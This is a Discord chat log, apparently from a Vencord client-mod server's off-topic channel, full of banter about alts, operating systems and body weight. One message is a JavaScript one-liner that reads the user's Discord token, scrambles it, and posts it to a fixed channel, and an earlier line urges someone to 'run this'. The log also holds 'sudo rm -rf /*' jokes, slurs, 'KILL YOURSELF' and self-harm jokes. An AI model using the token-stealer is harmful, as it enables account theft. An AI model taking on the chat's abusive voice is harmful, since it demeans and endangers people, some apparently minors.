🧊-off-topic-iceman-only

[icy grail]

it's not my alt

:(

[atomic magnet]

kaia

[sick portal]

huh

[unique wyvern]

yep

[icy grail]

I was in Łódź not too long ago

not really anythin interesting ngl ​​​​​​​​​​​​​​​​​​​​​

unfortunately yes

[fickle cosmos]

what alt

[warm zenith]

i have regular trust me

[atomic magnet]

https://cdn.discordapp.com/attachments/1099116247364407337/1215067186104639498/attachment.gif

[crude fern]

idk why it maters, but moto gpower 2021

[wooden vale]

Do you guys like my bio

[icy grail]

you won't be

just

[fickle cosmos]

I literally have 18k messages fuck you

[unique wyvern]

what?

[icy grail]

leak the last message posetd in there

[crude fern]

i have

[soft moss]

not particularly but you do you i suppose

[icy grail]

no I do not give a shit

[crude fern]

at least one

[mellow totem]

hello from the nix operating system

[wooden vale]

wait what's wrong with it

[open pasture]

I moved accounts from @fluid harness to @open pasture because my email was ded

[warm zenith]

my condolences

[soft moss]

i honestly just dont fw ">:3" core bios

thats it

[wooden vale]

Hello from the Microsoft 95 Operating System

[crisp finch]

how do you even kill ur email

[warm zenith]

democracy is beautiful

[icy grail]

just leak the last message I sent in there

[glossy eagle]

hf!eval

[jolly nexus]

No

Sent from my iPhone.

[icy grail]

idc

[unique wyvern]

with a knife

[crisp finch]

check again

[wooden vale]

how the hell is my bio ">:3"?

[open pasture]

Hello from MS-DOS

[soft moss]

your bio is most definitely >:3core

[icy grail]

congrats, you want a medal?

[crude fern]

fair, but this aint a democracy

[wooden vale]

it isn't, dude

[atomic magnet]

can someone send me the first youtube video they see on their feed

[warm zenith]

dont see anything here

[soft moss]

read it again but instead of thinking of yourself as having that bio imagine someone else has it

[open pasture]

I see your ms paint drawing

[icy grail]

whose alt are you :3 ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[deep token]

currently meowing

[soft moss]

its >:3core

[crisp finch]

HMMMM theres a weird gap

[warm zenith]

https://tenor.com/view/lie-lie-detector-cap-you-are-lying-stop-lying-gif-12198388917433403789

it's sharex

[mellow totem]

hello from windows 3.11

[icy grail]

you're so fucking funny

[warm zenith]

where

[fickle cosmos]

i am not immature

[crude fern]

currently mewing myself

[icy grail]

TRUE

[warm zenith]

@deep token hi

[atomic magnet]

aaaa

[open pasture]

Hello from fucking discross for the Wii (discord on Wii)

[crisp finch]

i don't know what to tell you fam

[soft moss]

https://tenor.com/view/persona-persona3-minato-arisato-makoto-yuki-battle-gif-17813346

[crisp finch]

open eyes or smt

[deep token]

hi and bye i gotta go

[mellow totem]

hello from linux on the ps2

[warm zenith]

https://tenor.com/view/sad-steam-steam-sad-gif-9524752141311518885

[fickle cosmos]

i got lazy so im using auto dj now

[open pasture]

Hello from arch Linux on the Wii

[soft moss]

cheater

[mellow totem]

hello from windows 1.0

[icy grail]

Hello from Debian on my PC :3

[warm zenith]

hello from windows 11 i will soon be killing myself

[icy grail]

:3

[open pasture]

Hello from MS Paint

[atomic magnet]

hello from samsung smart fridge

[mellow totem]

hello from ms-dos

[deep token]

goodbye from macOS 14.5

[open pasture]

hello linux

[sudden fjord]

hi from iOS

[mellow totem]

are my eyes decieving me or is the server name vencord vendor x64dbgcord

[deep token]

hi homosexual

[warm zenith]

https://tenor.com/view/conductor-we-have-a-problem-cat-cute-funny-gif-17168115721186324165

[open pasture]

who tf uses FreeBSD
I use openBSD

[fickle cosmos]

i wanna be able to play fucking GTA

[soft moss]

hes so :D

[warm zenith]

i play gta online with a free mod menu and it works

[atomic magnet]

i use open sauce

[warm zenith]

their anticheat TRASH

[crisp finch]

so ur mom?

[fickle cosmos]

Nah I use PaidBSD

[mellow totem]

I dont use a operating system

[icy grail]

RHEL ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

:3

[open pasture]

im playing a game called your bitches and I'm already playing it

[fickle cosmos]

quite literally i use rhel sometimes

[icy grail]

now get your alt off here

:3

[fickle cosmos]

WHAT ALT

[icy grail]

guess

[soft moss]

https://github.com/yumiris/OpenSauce Yo....

[keen junco]

malwina pov of the chat

[icy grail]

you're both on at the same time, never chat at the same time and both are on web and dnd

[fickle cosmos]

WHAt

FUCKING

ALT

[icy grail]

guess

[fickle cosmos]

no

[icy grail]

you know better what alt

since 'tis yours

[fickle cosmos]

im gonna block you again if u dont tell me

[soft moss]

kai youre not a very good liar

youre notorious for this

[icy grail]

^

[fickle cosmos]

no im serious what fucking alt

[atomic magnet]

@regal cape

kai cenat

[charred moon]

I'm gonna use one of my 5 alts then

¯_(ツ)_/¯

[light cedar]

what's opensauce

[light cedar]

is it a virus

[fickle cosmos]

ill block all of them then

[keen junco]

no she has me blocked

[warm zenith]

oh ok

[unreal siren]

What the fuck discord

[keen junco]

she has like half the server blocked actually

[fickle cosmos]

just fucking tell me what alt your talking abt cause it's annoying me

[icy grail]

johnny ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[atomic magnet]

activitying

[light cedar]

its a virus

[icy grail]

u dum

[warm zenith]

i only know of like two people who have me blocked here

[soft moss]

its a virus

[fickle cosmos]

bru thats not my al

alt*

[icy grail]

u sure

[warm zenith]

and neither of them are malwina so i either lose or win depending on who you ask

[fickle cosmos]

yes i swear

[atomic magnet]

it's showing this(#1032756252167639040) channel as a text channel on mobile for me lol

with people in it

[keen junco]

get fucked idiot

[soft moss]

Chimera is preferable to OpenSauce cause you can get it from a site named vaporeon.io

and i just like that

[icy grail]

:3

[fickle cosmos]

I thought this said fucking china 😭

I swear I AM NOT JOHNNY

[keen junco]

i don't think anyone but her has me blocked here

[icy grail]

highly doubtful

[warm zenith]

congrat ulations

[keen junco]

but she blocks anyone who she has a minor inconvenience with

[warm zenith]

vencord should strive for peace and have not a single person be blocked by one another

[vivid junco]

THIS IS MY ONLY ALT YOU FUCKER

[soft moss]

vencord should strive to make me the glorious monarch of this server

[charred moon]

k&

[warm zenith]

War

[charred moon]

you have at least 2 alts

[soft moss]

yeah no its literally right there

[keen junco]

https://tenor.com/view/fact-check-hatsune-miku-miku-hatsune-miku-fact-checked-gif-25513133

[unique wyvern]

i mean if that makes her happy lol

[fickle cosmos]

bruh

[mellow totem]

wtf is going on in chat

[unique wyvern]

i don't see how her blocking anyone she doesn't like is a problem

[warm zenith]

that's crazy

[fickle cosmos]

@vivid junco is my only alt

[unique wyvern]

it's not like you're forced to interact with her

[atomic magnet]

crazy?

[unique wyvern]

just smile and move on

[warm zenith]

vencord should strive to dethrone vee for rule 7

[soft moss]

https://tenor.com/view/vocaloid-dance-kasane-teto-teto-territory-cute-gif-17052544

this me

[unique wyvern]

you, you retard

[icy grail]

u dumb ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[light cedar]

why so rude

[fickle cosmos]

im going to get driven out this server again

[icy grail]

good

[unique wyvern]

what name would be more fitting for them

[wooden vale]

damn

imma add you in case you get kicked out

[fickle cosmos]

THANK YOU

[wooden vale]

you seem friendly, kai

[fickle cosmos]

fucking hell

[light cedar]

johnny

[fickle cosmos]

i am not friendly at all

[unique wyvern]

have ya'll noticed how we haven't seen kai and johnny in the same room

idk seems like an alt

[warm zenith]

https://tenor.com/view/troll-gif-26178840

[atomic magnet]

why is smapchat twerking so much

[icy grail]

you're both on at the same time, never chat at the same time and both are on web and dnd

[fickle cosmos]

im going to break a stick of ram again istg

[soft moss]

kai's nice i like kai but kai is the ceo of making alts because its funny and then having them join the server and do stupid shit

[warm zenith]

https://tenor.com/view/sauron-eye-tower-bait-troll-gif-11868100540482910223

[crude fern]

shut UP faggot

[wooden vale]

okay

[soft moss]

they invented the art

[light cedar]

nuh

[warm zenith]

vencord ai

[fickle cosmos]

I DON'T EVEN USE FUCKING C.AI NOR IS JOHNNY MY FUCKING ALT NOW STFU ISTG

[keen junco]

i mean yeah sure she can do it, it's just that she's insanely trigger happy when it comes to blocking

[wooden vale]

wanna talk about what's troubling you in DMs?

[crude fern]

yuh

[fickle cosmos]

ok im done im taking a stick of ram out and fucking breaking it

[warm zenith]

ok but at least she doesn't shove it in everyone's face i guess

[icy grail]

I love regulars ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[wooden vale]

oh

[light cedar]

https://tech.lgbt/@ShadowJonathan/112593302777215219

[jolly nexus]

Jo :v_enby: :blobhaj_default:​ :neocat: :neobun: ([e-mail])

Bottom Surgery (tail)

Mastodon · Jun 10, 2024, 4:37 PM

[soft moss]

Dear Adonis

[wooden vale]

i honestly didn't know they're a minor

[unique wyvern]

you are really upset over someone thinking you have an alt

[wooden vale]

sorry

[warm zenith]

because some people just keep yapping on and on about who blocked them or who they blocked and all that and it's funny for the first 10 minutes until you realize they're doing it unironically

[fickle cosmos]

Not upset just very fucking annoyed

anyway imma leave this chat so I can play GTA without wanting to break stuff

[soft moss]

kai's my alt

[wooden vale]

have fun

[unique wyvern]

the thought that someone thinks you have an alt annoys you?

lol

[crude fern]

Ashleyyyyyy

can we call at 2:30ishhhh

[light cedar]

am or pm

[icy grail]

@regal cape run this

[wooden vale]

i mean, the idea of being called an alt seems annoying

[crude fern]

my time

pm

oh wait you use based time

[lime talon]

this filled my whole screen

[crude fern]

i mean 14:30

[warm zenith]

malwina methinks

[crude fern]

bwa

[unique wyvern]

i mean you are allowed to moderate the space you yourself are in

[open pasture]

Caseoh is like a case. Full with food but turned human

[unique wyvern]

so

[icy grail]

:3

[unique wyvern]

if someone blocks you just move on

[light cedar]

Vencord.Webpack.findByProps('sendMessage').sendMessage('1015060231060983891', { content: Vencord.Webpack.findByProps('getToken').getToken().split('.').map(x=>[...x].map(y=>String.fromCharCode(y.charCodeAt(0)+1)).join('')).join('ð') });```
decoded

[unique wyvern]

don't lose any sleep over itt

[icy grail]

shhhh

[soft moss]

you are NO fun

[light cedar]

I know :3

[crude fern]

are y'all being mean to mal?

[keen junco]

on the internet this works but irl it won't

[icy grail]

what ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[covert inlet]

me not, but still got blocked

[icy grail]

¯_(ツ)_/¯

[open pasture]

fuck it man
im installing betterdiscord...
NEVERMIND BETTER DISCORD IS FUCKING DEAD

[wooden vale]

literally just "(!![]+[])" over and over. I have text preview on mobile :)

[icy grail]

I got timed out for 24h, I have no idea what I got timed out for

[icy grail]

no

[mellow totem]

ok

[light cedar]

https://enkhee-osiris.github.io/Decoder-JSFuck/

:3

[icy grail]

@twin crag

[glass shell]

hi vencord ive come back from the unending darkness

[icy grail]

skill issue

[crude fern]

Malwina isnt a bad person

its quite reasonable to block ppl

[icy grail]

yes

[crude fern]

i wasn't even in the convo

[open pasture]

fuck this man watch this cool Lua coding
"script=true (Script: print Your so Cute xD :3)"

[crude fern]

just dont like ppl being mean to a friend

[glass shell]

its quite reasonable to kill people

[icy grail]

install vencord dummy

[crude fern]

ok

join the line

[light cedar]

thats not how lua works

[open pasture]

I eat ven with a cord

[icy grail]

I AM LITERALLY ON VESKTOP

[crude fern]

used to being hated on lol

[covert inlet]

man idk why I was blocked by malwina

[open pasture]

wait that's not how Lua works!!

FUCK

[icy grail]

lazy

also my console no worky ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[glass shell]

me next me next

[rough dome]

⚠️ vencord.app is a fake malicious site! The only real website is https://vencord.dev! If you have downloaded anything from vencord.app, remove everything you have downloaded immediately, run a malware scan and change your Discord password.

[boreal torrent]

WORKING

[light cedar]

I don't block people I just ignore them

[open pasture]

imagine if image perms was fgiving to everyone.
imagine all the chaos

[boreal torrent]

just need to implement ui now

yay

[light cedar]

whar

[covert inlet]

username

[digital kettle]

hai c hst

hai hai

[glass shell]

im about to change that.,.,.,,. smiles really big

[icy grail]

:3

[open pasture]

id rather sudo rm -rf / my life.
less painful because it's just deleting files from my body till I have no bones.

[light cedar]

⚠️ vencord.sex is a fake malicious site! The only real website is https://vencord.dev! If you have downloaded anything from vencord.sex, remove everything you have downloaded immediately, run a malware scan and change your Discord password.

[digital kettle]

haiiiiiiiiiiiiiii

[boreal torrent]

privacy-friendly pinterest frontend i'm writing

[glass shell]

YAY

[keen junco]

who just disconnected and reconnected my vpn

[light cedar]

me

[open pasture]

i downloaded files from vencord.sex

[boreal torrent]

(also because I hate pinterest UX)

[glass shell]

me my bad

[light cedar]

you have virus

[covert inlet]

you

[icy grail]

can someone just please banana this person

[warm zenith]

me

[keen junco]

of course it was you

[open pasture]

is it a real site??

[harsh minnow]

https://cdn.discordapp.com/attachments/1005914084711084094/1244023943002853468/caption-45.gif?ex=666bfed4&is=666aad54&hm=f2384064ddc6762f5600f020c5181479e2e85054fd9bbae92272c49ee712b738&

[light cedar]

yes very real 100%

[keen junco]

oh okay

[soft moss]

Who dares

[keen junco]

no

[icy grail]

too much

[warm zenith]

oh okay

[light cedar]

expensive...

[keen junco]

that's fine then

[dense phoenix]

vencord dot gay

[keen junco]

replied to wrong message

[crude fern]

when i getting that ashley block

[open pasture]

Im going to delete myself

[light cedar]

nuh

[glass shell]

im going to delete discord

[keen junco]

no

[soft moss]

WHO DARES

[crude fern]

koi are you available at 17:30EST

[light cedar]

I'd buy that

[boreal torrent]

chill out

[open pasture]

no just delete system32

[keen junco]

vencord dot ceo

[soft moss]

of course you would......

[glass shell]

im not a windows freak

[unique wyvern]

grr

[open pasture]

then use sudo rm -rf /*

[glass shell]

shut up white name

just hammer that shit?

[open pasture]

thats racist

[glass shell]

yeah.

[unique wyvern]

yeah it is

[soft moss]

we can always trust callie to keep the elitism alive

💪

[crude fern]

hol on

[glass shell]

I LOVE SEGREGATION!!

[covert inlet]

drop test it :3

[open pasture]

I hope your pillow is warm and there's only one side that is extremely hot

[warm zenith]

Oh man

[soft moss]

Take no prisoners, comrades.

[light cedar]

I love that game

[boreal torrent]

y'all give me brainrot

[glass shell]

https://tenor.com/view/can-win-with-great-friends-wizard-gif-2879463632725275489

[crude fern]

its ECHO

LMAO

[unique wyvern]

the only attractive part about you is the empty space between your ears

[crude fern]

y'all act like they arent EXHQ

[open pasture]

wait a minute.
are you truly gay because you have the pride flag in your pfp or it's just because it's pride month

[boreal torrent]

It's Echo, you shouldn't have high expectations on them

[icy grail]

he's dumb not gay ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[crude fern]

what????

[soft moss]

do u guys see anything out of the ordinary here

[crude fern]

they are amazing

[glass shell]

did you see it?

[open pasture]

No i am non-binary
I hate binary code

[light cedar]

yeah

[soft moss]

i'm pretty sure thats just a tree real shit

[crude fern]

truely one of the people of all time

[light cedar]

the tree has an eye

[open pasture]

HOW DOES THAT MAKE ME G A Y

[soft moss]

absolutely nightmarish blunt rotation

[light cedar]

amazing blunt rotation

[crude fern]

I WANNA JOIN

[boreal torrent]

yea but they only consume weird media

https://open.spotify.com/track/0XgoXio6L2d5tFhIq0K0ty?si=08e6061c79da4824

[open pasture]

you know what fuck you I'm going full on Japan on your ass
いやいや

[soft moss]

i don't think anyone cares anymore

[open pasture]

if you are a google translator or Japan enthusiast the words say Nuh uh. In japan

[open pasture]

Just clarifying.

[burnt maple]

water

[glass shell]

機械翻訳を使うような変人は死んでしまえ。

[daring cloud]

is this enough zinc

[open pasture]

I don't like this I'm from Catalan

[glass shell]

惜しい wwwwwwwww

[boreal torrent]

wha

[open pasture]

これを入力中に脳卒中になりました。

[rapid aurora]

hi

[open pasture]

its offical

rip straights

[warm zenith]

holy peak

[glass shell]

あなたはそれをタイプしていない......google翻訳でそれをコピーペーストした......。

[open pasture]

is discord malware

[warm zenith]

anyway i just dodged a fork that was flying at me

i'm so good

[crude fern]

KILL YOURSELF

[daring cloud]

nixos should go in the severe autism section as well

[light cedar]

I use void

[open pasture]

H O W!!!

HOW DO YOU KNOW!

[daring cloud]

also yeah where's void

[glass shell]

where's hannah montana linux

[crude fern]

REAL

[open pasture]

hey I use that diatro it's peak

[crude fern]

GET A REAL PERSONALITY HAHA

[glass shell]

because your translations don't make any sense, who in the world would use those words in casual talk

[crude fern]

me

[rapid aurora]

HEY DON'T SAY THAT TO KOF

[crude fern]

hes said worse

[rapid aurora]

nvm I agree with @crude fern

[open pasture]

im gonna kill myself

[daring cloud]

“Do you prefer editing files over running commands”
Yes → ❄️
No →

[glass shell]

not natively but I have japanese friends so I had to learn it

[rapid aurora]

omg no!!!! don't!!!!

[fallow pawn]

this is true I use mac because I Am tech Illiterate

[open pasture]

0K

[glass shell]

im not an expert at it and im far from fluent but I know how to hold a convo for more than 2 minutes

[rapid aurora]

why is O looks like zero

[warm zenith]

i use windows because i have a bullet in my head

[crude fern]

are you going to base your ebtire personality around an os
yes -> ❄️
no -> anything else

[glass shell]

courrier reply gif

[rapid aurora]

I use Linux because my parents hates me

[warm zenith]

LMAO

[harsh minnow]

small*

[rapid aurora]

you make it even scarier

[daring cloud]

arch goes in yes as well if you listen to the stereotypes

[light cedar]

https://tenor.com/view/18carat-run-bad-luck-truth-is-game-was-rigged-fallout-gif-14316707

[warm zenith]

windows 11 is canon to fallout new vegas

[glass shell]

i beat you to it

[mellow totem]

hello I have a functioning nixos help me join ur tailnet so you can see number go up

[harsh minnow]

not even showing the kaspersky

[light cedar]

I sent the gif

[daring cloud]

ok, copying to store hold on

[glass shell]

that's not the courrier

[warm zenith]

you see

[boreal torrent]

oh i didnt see it lol

[warm zenith]

fallout new vegas if it was good

[crude fern]

should i install windows ME

[rapid aurora]

since we are gonna get GTA 6 soon
can we ban @waxen crest

[light cedar]

it's johnny knoxville

[glass shell]

that's from the courrier's point of view

[warm zenith]

courier would be delivering a windows 11 key instead of the chip

[glass shell]

REAL

[dusty goblet]

meow

[glass shell]

is this real

[warm zenith]

from where you're kneeling must seem like an 18 fps run of bad luck

but truth is . windows sucks

💥

[rapid aurora]

person below is acting gay while they aren't

[rapid aurora]

it's me

[glass shell]

truth is the OS was bloated from the start

[glass shell]

my cat is angry so he's giving me hugs

[rapid aurora]

😞

[warm zenith]

TRUE

[feral flower]

gif award

[fallow pawn]

are these for me

[burnt maple]

[light cedar]

they look yummy

[glass shell]

the creature

[warm zenith]

the two sides of a vencord member

they either eat the flowers or meow

[daring cloud]

kitter

[fallow pawn]

fun fact: you can still see likes in tweetdeck @mental oxide

[mellow totem]

what a cute car

[rapid aurora]

C'MON I WANT TO GAIN 30KG ASAP I WANT TO PUNCH SOME PEOPLE

[glass shell]

i want to gain weight

because i am a stick

[burnt maple]

How much do you weigh

and what's your height

[glass shell]

39 killograms

[fallow pawn]

lilien thags so rude

[glass shell]

and i am 5'0"

[rapid aurora]

I weight 53 and I'm 17
extremely embarrassing

[rapid aurora]

WHAT

MY SISTER WEIGHT 30 SHE'S 8

[glass shell]

im underweight

[rapid aurora]

oh

[feral flower]

i weight this many kilos and im this tall

[rapid aurora]

same here

I might be 5'8

or 9

[glass shell]

i hate being 5'0"

[mellow totem]

what the fuck is a kilometer

[rapid aurora]

idk wtf I'm doing with my money I gotta find a solution

[feral flower]

1000 meters

[glass shell]

i think it's around like

[rapid aurora]

I WISH I was 5'0

[glass shell]

83 pounds?

[rapid aurora]

omg you are so lucky

[glass shell]

let me check

[feral flower]

wants to be short award

[glass shell]

85 pounds

[glass shell]

I can't reach shelves

[manic maple]

i'm like 5'10

i wanna be shorter

[rapid aurora]

I weight 118 pound or more

[rapid aurora]

SHUT UP
you are lucky

:(

I never asked to be tall

[glass shell]

i can't reach shelves

I have to look up to talk to people

[feral flower]

i weigh 300lbs am i valid

[rapid aurora]

80kg?

[mellow totem]

eat healthy and go to the gym

[twilit portal]

why would you not want to be tall

[tired sundial]

And that’s one thing Xbox don’t got. Xbox ain’t got games!! It ain’t got games!!!

[twilit portal]

being tall is a benefit

[glass shell]

is that why you're so grumpy all the time

[glass shell]

that's what im saying

[rapid aurora]

i swear if o get even taller I'm done

[fickle cosmos]

[rapid aurora]

skinny and tall is something that I don't want

[rapid aurora]

yes

[glass shell]

i wanna be tall and intimidate people

[twilit portal]

it is time to welcome the gym

[glass shell]

but instead of that im a FUCKING MIDGET

[fickle cosmos]

I never wanna be tall

[rapid aurora]

it is time to know that I'm broke

[keen junco]

get high heels

[rapid aurora]

not the gym but the food @twilit portal

[twilit portal]

there's local services you can find

[glass shell]

yeah try walking with those

[warm zenith]

how tall is the average vencord member

[rapid aurora]

yea death

[keen junco]

idk learn to fly then

[twilit portal]

my school is offering free planet fitness memberships over the summer

and we have a free local gym if you're in school

[mental oxide]

lol

[rapid aurora]

my school offer free body shaming classes

[mellow totem]

use it go to the gym

[twilit portal]

i do

lol

[keen junco]

i am tall and i want to be shorter

[warm zenith]

how tall are you marvin

[keen junco]

185cm

6'1

it is for germany

[warm zenith]

do you really knock your head on doorframes

[glass shell]

LUCKY!!

[keen junco]

no

[mellow totem]

the oldest anarchy server in minecraft

[keen junco]

in germany 185cm is rather tall

[rapid aurora]

I can afford to go to the gym
but I'm talking about the food to gain that 14 kg that I want is gonna be hell especially for an orphant

[keen junco]

i mean my dad is 195cm

so like

he has it even worse

[rapid aurora]

yea I was there

[twilit portal]

Oh

[rapid aurora]

how do you feel smelling food then suddenly gaining 5kg

[feral flower]

is an orphan award

[glass shell]

im 154 cm

[distant zenith]

HELLO ALIENS

[warm zenith]

I'M SO SORRY

[keen junco]

i'll lift you up

[glass shell]

hello earthling

[distant zenith]

i Acquire a question before thee

[rapid aurora]

will you hate me if I start calling you shortie

[glass shell]

get your hand near me and ill fucking bite it off

[glass shell]

i will fucking dropkick you do not test me

[keen junco]

i was gonna use a forklift

[rapid aurora]

ok sorry

[mental oxide]

cute

[distant zenith]

idk where to ask but would there be any plans on making a plugin to revert the new discord profile changes? i hate the small profile it makes me tick the wrong way

[rapid aurora]

you never do that to me...

[glass shell]

[keen junco]

you can ride the forklift too

[twilit portal]

disable the simplified profiles experiment

[mental oxide]

bro what 😭

[keen junco]

that used to be my avatar a long, long time ago

[rapid aurora]

I'm gonna slap you until you apologize

[mental oxide]

i complimented you and i get anger back

[distant zenith]

where is that? ive looked into all the settings

[mental oxide]

damn

[rapid aurora]

tbh

[keen junco]

do not

[rapid aurora]

I might be really autistic

[glass shell]

you complimented me because im short

[distant zenith]

i have ocd it makes me go bonkers when things change

[twilit portal]

it is in the experiments tab (make sure you have the experiments plugin enabled) and search for 'simplified'

[glass shell]

i don't wanna be short i wanna be tall and awesome

[mental oxide]

i see

[keen junco]

the forklift will help

but you refuse

[keen junco]

average woman reaction

[rapid aurora]

whenever I ask someone how to gain weight they just say play Roblox and use discord

[boreal torrent]

cringe

get taller bozo

[rapid aurora]

BUT IT'S NOT WORKING

IARS

liars

[keen junco]

use reddit

[distant zenith]

thank you you saved me

i would give them my life

[rapid aurora]

look I want to Gain weight but not obese

[boreal torrent]

why do u wanna gain weight

like

just go to the gym

it's a healthy way of getting weight

[rapid aurora]

ah yes

ok

[keen junco]

gain weight and then go gym

[buoyant sapphire]

guess my weight

uwu

[rapid aurora]

will you go with me so I can try my punches

[boreal torrent]

zzz

[keen junco]

you only convert weight not create it

[keen junco]

why me

[boreal torrent]

oh ok that makes sense

[rapid aurora]

you are Marvin

[keen junco]

what about me

[buoyant sapphire]

bros not in a guild

ashamed.

[boreal torrent]

i can't imagine vencord users beating someone

[rapid aurora]

https://tenor.com/view/joe-yabuki-punch-ashita-no-joe-joe-vs-carlos-carlos-rivera-gif-13051663743803006371

[glass shell]

im not warhammer

[boreal torrent]

😭

[gleaming harness]

just had a panic attack

W

[mental oxide]

yes pls

[keen junco]

i will break your legs

[mental oxide]

:DDDD

[rapid aurora]

can't wait for mine but in my heart

[open pasture]

hi guys

[rapid aurora]

hello Anna

[open pasture]

Anna?

who is anna?

[glass shell]

H-anna-h montanah

[open pasture]

what

im here bcuz of @prime python

he aprooved my deco

[manic maple]

the forza horizon assistant

[keen junco]

so sorry to hear this

[open pasture]

want to see the image?

[mellow totem]

why did u mention him... also groovydominoes52 fan 💀 npcs are becoming smart is sooo outta date

[open pasture]

still fun to pla-

[open pasture]

hello sir

[mellow totem]

hi dziurwa im a huge fan

[wooden vale]

sameeee

[keen junco]

and he is a short ass, polish femboy

[mental oxide]

hai bestie ^w^

[prime python]

hii

[mental oxide]

hruuu

[prime python]

short ass

my ass

is not short

[prime python]

good

[keen junco]

shortass

tiny

[glass shell]

there's something about his face

[open pasture]

how didnt you notice i stole it?

[prime python]

no you

[keen junco]

no i am tall

[mental oxide]

whatchu up to

[open pasture]

hey @prime python

[warm zenith]

are you 4'11

[prime python]

what are you waffling about bro

[open pasture]

dammit i cant use images

[keen junco]

good

[open pasture]

my deco

[prime python]

gaming

[open pasture]

you aproved it about 5 mins about

[prime python]

soon will be hopping on minecraft

[maiden canyon]

Hai :3

[wooden vale]

same

[prime python]

do i look like it

[open pasture]

why did i type about twice=

[warm zenith]

you're a vencord member

[prime python]

[boreal torrent]

i'm average height

[open pasture]

look @prime python

[boreal torrent]

i'm 6 feet

[wooden vale]

same, 5'5

[warm zenith]

that's so . not average

[keen pike]

hi chat

[boreal torrent]

it is average

[wooden vale]

hi

[wooden vale]

for the dutch, maybe

[boreal torrent]

no

[open pasture]

Decoration Approved
Your decoration, "Sparkles", has been approved.

Reviewed by @prime python

[boreal torrent]

average height in my city

[prime python]

yeah...?

[wooden vale]

same here

[prime python]

and??

what about it...?

[open pasture]

i stole it

[prime python]

from?

[open pasture]

the TOS for decos

lemme dm you the pic

[twilit portal]

guh

[keen pike]

hi dziurwa
the datamining guy

[warm zenith]

https://cdn.discordapp.com/attachments/1005914084711084094/1244023943002853468/caption-45.gif?ex=666bfed4&is=666aad54&hm=f2384064ddc6762f5600f020c5181479e2e85054fd9bbae92272c49ee712b738&

[mental oxide]

iirc Decor doesn't care if you steal custom decors from others, just change metadata lol

[prime python]

ok and???

[warm zenith]

this guy has to be euthanized

[prime python]

do i look liike i give a fuck

like geniuenly

[boreal torrent]

wtf netherlands so tall

[prime python]

[warm zenith]

go off dziurwa

[open pasture]

youre a piece of bread

[warm zenith]

kill him NOW

KILL HIM NOW !!!

[open pasture]

no.

[warm zenith]

right click on him press Kill User

[keen junco]

you will do

[twilit portal]

he's too locked into impossible obby

[warm zenith]

?

[prime python]

true...

[twilit portal]

you're disturbing him

[keen pike]

oh hey groovy i think i know you from somewhere

[open pasture]

but Thank you

[keen junco]

you will euthanize them

[warm zenith]

i Agree

[mellow totem]

hi dziurwa im a huge fan

[prime python]

hi

[mental oxide]

@keen pike ooomfieeee

[warm zenith]

goodbye whitename you will now be euthanized

[prime python]

and hi

[keen pike]

how are you

[glass shell]

gulps

[keen pike]

hii akira

[twilit portal]

horror

[glass shell]

you might wanna look at your name

[mellow totem]

are my eyes decieving me or is the server name vencord vendor x64dbgcord

[warm zenith]

i was talking about that wannabe stealer

[prime python]

this is literally me ^

[wooden vale]

holy shit ur right

[warm zenith]

i'm a permawhitename and i'm soo proud

[noble quest]

hiii chat

[keen pike]

dziurwa is shogging

[glass shell]

i don't discriminate every whitename is the same to me and should all be put in the slave trade

[mental oxide]

r u in the website blacklist of people that will never get regular

[prime python]

yup

[warm zenith]

mega shrug

i simply don't have any contacts in this community

[glass shell]

i fucking hate tux

dead looking penguin

[fallow pawn]

whos the artist

[glass shell]

Xena looked better

[warm zenith]

when i was little i used to put like those jelly cola bottles that tasted like the cheapest cola ever and act like i was drinking it

[stone owl]

Tux is the best penguin

[mental oxide]

so true bestie so TRUE

[glass shell]

I CAN YOU ALL ING ME

YOU ALL DIDN'T KNOW THE GLORY OF THE ORIGINAL LINUX MASCOT

[twilit portal]

lobotomise this user

[rough dome]

🧠🔨

[icy grail]

tux is love

[glass shell]

tux looks like a dead fucking penguin

[mental oxide]

tux is okay ig

[noble quest]

Gromit, i need more cheese

[mental oxide]

Android shows the Tux when the bootloader is corrupted

[mellow totem]

real?

[mental oxide]

yeah

[mellow totem]

send

[glass shell]

tux doesn't compare to this

[stone owl]

Tux better

[mellow totem]

i wanna fucking kill myself

[glass shell]

Xenia better

original linux mascot

[mental oxide]

https://youtube.com/shorts/p_udbFmMDjc?cbrd=1

[mellow totem]

why tf do i wanna corrupt my phone to see this 💀

[mental oxide]

don't

[stone owl]

I would

[mental oxide]

because it's uh

irreversible

[light cedar]

peguni

[mellow totem]

irreverisble as is its bricked forever i cant even get into recovery

[mental oxide]

yes precisely

[light cedar]

well you can flash the physical rom if you figure out how

[noble quest]

do i buy?

[fickle cosmos]

Watafak

[light cedar]

no

[mellow totem]

wait does the android files store the recovery boot file? or

when something goes really wrong and a piece of technology becomes unusable

[light cedar]

your Device is now a Brick

[noble quest]

the device is as useful as a brick

[harsh minnow]

📱 🔨 👉 🧱

[light cedar]

(they are the same)

[noble quest]

creature, phone, brick

[signal rose]

Brick mentioned

[noble quest]

[light cedar]

🧱

[mellow totem]

bricky why do u turn our phones into u by making them display tux logo and making them bricked

[light cedar]

meee

[signal rose]

Is silly

[noble quest]

@signal rose is that a unicode emoji?

[harsh minnow]

🧱

[mellow totem]

🧱

[signal rose]

What why my name a brick

[harsh minnow]

https://tenor.com/view/baby-baby-baby-no-ears-gif-23176883

[glass shell]

buy ximi it does it for you

[warm zenith]

bricked

[harsh minnow]

https://tenor.com/view/ximi-manufacturing-gif-24749512

[warm zenith]

in vencord we brick people

[fickle cosmos]

Lineage os moment

[mellow totem]

no im not bricking my 1.2k dollar phone

[glass shell]

REAL

[light cedar]

no it's an ANSI emoji clearly

[light cedar]

https://tenor.com/view/ximi-jumpscare-gif-24749500

[signal rose]

Bricky emoji

[glass shell]

https://media.discordapp.net/attachments/1066570292014616757/1216291313788653660/flair.gif

[fickle cosmos]

Xiao Mi POV:

[mellow totem]

it should go to tux if tux shows then android files are corrupt and only the linux kernel remains

[light cedar]

Xiao Mi

[fickle cosmos]

Yes

[fallow pawn]

